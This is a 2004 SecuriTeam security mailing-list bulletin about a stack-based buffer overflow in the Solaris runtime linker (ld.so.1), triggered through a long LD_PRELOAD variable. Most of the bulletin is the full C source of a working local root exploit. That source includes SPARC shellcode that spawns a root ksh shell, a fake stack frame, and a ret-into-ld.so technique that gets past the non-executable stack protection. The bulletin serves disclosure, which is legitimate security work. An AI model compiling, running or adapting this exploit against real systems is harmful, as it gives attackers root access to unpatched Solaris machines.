Date: 27 Dec 2004 10:29:18 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [EXPL] Stack-Based Buffer Overflow in Solaris Runtime Linker
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Stack-Based Buffer Overflow in Solaris Runtime Linker
------------------------------------------------------------------------
SUMMARY
A stack-based buffer overflow in the runtime linker, allows local users to
gain root privileges via a long LD_PRELOAD environment variable.
DETAILS
Vulnerable Systems:
* Solaris/SPARC Versions 2.6 up to 9 including.
Exploit Code:
raptor_ldpreload.c
/*
* $Id: raptor_ldpreload.c,v 1.1 2004/12/04 14:44:38 raptor Exp $
*
* raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC 2.6/7/8/9
* Copyright (c) 2003-2004 Marco Ivaldi <raptor at 0xdeadbeef dot info>
*
* Stack-based buffer overflow in the runtime linker, ld.so.1, on Solaris
2.6
* through 9 allows local users to gain root privileges via a long
LD_PRELOAD
* environment variable (CAN-2003-0609).
*
* This exploit uses the ret-into-ld.so technique, to effectively bypass
the
* non-executable stack protection (noexec_user_stack=1 in /etc/system).
This
* is a weird vulnerability indeed: the standard ret-into-stack doesn't
seem
* to work properly for some reason (SEGV_ACCERR), and at least my version
of
* Solaris 8 (Generic_108528-13) is very hard to exploit (how to reach
ret?).
*
* Usage:
* $ gcc raptor_ldpreload.c -o raptor_ldpreload -ldl -Wall
* $ ./raptor_ldpreload
* [...]
* # id
* uid=0(root) gid=1(other)
* #
*
* Vulnerable platforms:
* Solaris 2.6 with 107733-10 and without 107733-11 [untested]
* Solaris 7 with 106950-14 through 106950-22 and without 106950-23
[untested]
* Solaris 8 with 109147-07 through 109147-24 and without 109147-25
[untested]
* Solaris 9 without 112963-09 [tested]
*/
#include <dlfcn.h>
#include <fcntl.h>
#include <link.h>
#include <procfs.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#define INFO1 "raptor_ldpreload.c - ld.so.1 local, Solaris/SPARC
2.6/7/8/9"
#define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi
<raptor@0xdeadbeef.info.>"
#define VULN "/usr/bin/su" // default setuid target
#define BUFSIZE 1700 // size of the evil buffer
#define FFSIZE 64 + 1 // size of the fake frame
#define DUMMY 0xdeadbeef // dummy memory address
#define ALIGN 3 // needed address alignment
/* voodoo macros */
#define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;}
#define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;}
char sc[] = /* Solaris/SPARC shellcode (12 + 48 = 60 bytes) */
/* setuid() */
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
/* execve() */
"\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"
"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"
"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";
/* globals */
char *env[256];
int env_pos = 0, env_len = 0;
/* prototypes */
int add_env(char *string);
void check_zero(int addr, char *pattern);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], ff[FFSIZE];
char platform[256], release[256];
int i, offset, ff_addr, sc_addr, str_addr;
int plat_len, prog_len, rel;
char *arg[2] = {"foo", NULL};
int arg_len = 4, arg_pos = 1;
int sb = ((int)argv[0] | 0xffff) & 0xfffffffc;
int ret = search_ldso("strcpy");
int rwx_mem = search_rwx_mem();
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* get some system information */
sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1);
sysinfo(SI_RELEASE, release, sizeof(release) - 1);
rel = atoi(release + 2);
/* prepare the evil buffer */
memset(buf, 'A', sizeof(buf));
buf[sizeof(buf) - 1] = 0x0;
memcpy(buf, "LD_PRELOAD=/", 12);
buf[sizeof(buf) - 2] = '/';
/* prepare the fake frame */
bzero(ff, sizeof(ff));
/*
* saved %l registers
*/
set_val(ff, i = 0, DUMMY); /* %l0 */
set_val(ff, i += 4, DUMMY); /* %l1 */
set_val(ff, i += 4, DUMMY); /* %l2 */
set_val(ff, i += 4, DUMMY); /* %l3 */
set_val(ff, i += 4, DUMMY); /* %l4 */
set_val(ff, i += 4, DUMMY); /* %l5 */
set_val(ff, i += 4, DUMMY); /* %l6 */
set_val(ff, i += 4, DUMMY); /* %l7 */
/*
* saved %i registers
*/
set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */
set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */
set_val(ff, i += 4, DUMMY); /* %i2 */
set_val(ff, i += 4, DUMMY); /* %i3 */
set_val(ff, i += 4, DUMMY); /* %i4 */
set_val(ff, i += 4, DUMMY); /* %i5 */
set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */
set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */
/* fill the envp, keeping padding */
sc_addr = add_env(ff);
str_addr = add_env(sc);
add_env("bar");
add_env(buf);
add_env(NULL);
/* calculate the offset to argv[0] (voodoo magic) */
plat_len = strlen(platform) + 1;
prog_len = strlen(VULN) + 1;
offset = arg_len + env_len + plat_len + prog_len;
if (rel > 7)
VOODOO64(offset, arg_pos, env_pos)
else
VOODOO32(offset, plat_len, prog_len)
/* calculate the needed addresses */
ff_addr = sb - offset + arg_len;
sc_addr += ff_addr;
str_addr += ff_addr;
/* set fake frame's %i1 */
set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */
/* fill the evil buffer */
for (i = 12 + ALIGN; i < 1296; i += 4)
set_val(buf, i, str_addr); /* must be a valid string */
/* to avoid distance bruteforcing */
for (i = 1296 + ALIGN; i < BUFSIZE - 12; i += 4) {
set_val(buf, i, ff_addr);
set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */
}
/* print some output */
fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release);
fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb);
fprintf(stderr, "Using string address\t: 0x%p\n", (void *)str_addr);
fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem);
fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr);
fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr);
fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret);
/* run the vulnerable program */
execve(VULN, arg, env);
perror("execve");
exit(0);
}
/*
* add_env(): add a variable to envp and pad if needed
*/
int add_env(char *string)
{
int i;
/* null termination */
if (!string) {
env[env_pos] = NULL;
return(env_len);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad the envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return(env_len);
}
/*
* check_zero(): check an address for the presence of a 0x00
*/
void check_zero(int addr, char *pattern)
{
if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) ||
!(addr & 0xff000000)) {
fprintf(stderr, "Error: %s contains a 0x00!\n", pattern);
exit(1);
}
}
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
check_zero(addr - 4, sym);
return(addr);
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NULL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;
return(addr_old);
}
/*
* set_val(): copy a dword inside a buffer
*/
void set_val(char *buf, int pos, int val)
{
buf[pos] = (val & 0xff000000) >> 24;
buf[pos + 1] = (val & 0x00ff0000) >> 16;
buf[pos + 2] = (val & 0x0000ff00) >> 8;
buf[pos + 3] = (val & 0x000000ff);
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:raptor@0xdeadbeef.info.>
Raptor.
The original article can be found at:
<http://www.0xdeadbeef.info/exploits/raptor_ldpreload.c>;
http://www.0xdeadbeef.info/exploits/raptor_ldpreload.c
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
